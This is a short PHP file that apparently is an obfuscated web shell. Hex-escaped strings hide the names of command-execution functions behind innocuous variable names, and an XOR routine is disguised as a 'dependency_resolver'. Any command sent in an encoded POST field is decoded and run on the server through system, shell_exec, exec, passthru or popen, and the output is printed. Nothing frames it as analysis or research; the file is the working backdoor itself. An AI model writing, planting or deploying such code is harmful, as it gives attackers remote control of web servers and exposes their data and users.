<?php

$core_engine = "\x68\x65x\x32bi\x6E";
$mutex_lock7 = "pc\x6C\x6Fs\x65";
$mutex_lock3 = "\x65xe\x63";
$mutex_lock2 = "\x73\x68\x65ll_\x65\x78ec";
$mutex_lock6 = "\x73\x74r\x65a\x6D\x5F\x67\x65t\x5F\x63\x6Fntents";
$mutex_lock1 = "syst\x65m";
$mutex_lock5 = "po\x70en";
$mutex_lock4 = "\x70as\x73\x74hru";
if (isset($_POST["d\x61t"])) {
            function dependency_resolver     (   $value    ,      $ref    )   {     $desc      =     ''   ;     foreach(str_split($value) as $char){$desc.=chr(ord($char)^$ref);} return   $desc;    }
            $dat = $core_engine($_POST["d\x61t"]);
            $dat = dependency_resolver($dat, 98);
            if (function_exists($mutex_lock1)) {
                $mutex_lock1($dat);
            } elseif (function_exists($mutex_lock2)) {
                print $mutex_lock2($dat);
            } elseif (function_exists($mutex_lock3)) {
                $mutex_lock3($dat, $hld_value);
                print join("\n", $hld_value);
            } elseif (function_exists($mutex_lock4)) {
                $mutex_lock4($dat);
            } elseif (function_exists($mutex_lock5) && function_exists($mutex_lock6) && function_exists($mutex_lock7)) {
                $ref_desc = $mutex_lock5($dat, 'r');
                if ($ref_desc) {
                    $pset_ent = $mutex_lock6($ref_desc);
                    $mutex_lock7($ref_desc);
                    print $pset_ent;
                }
            }
            exit;
        }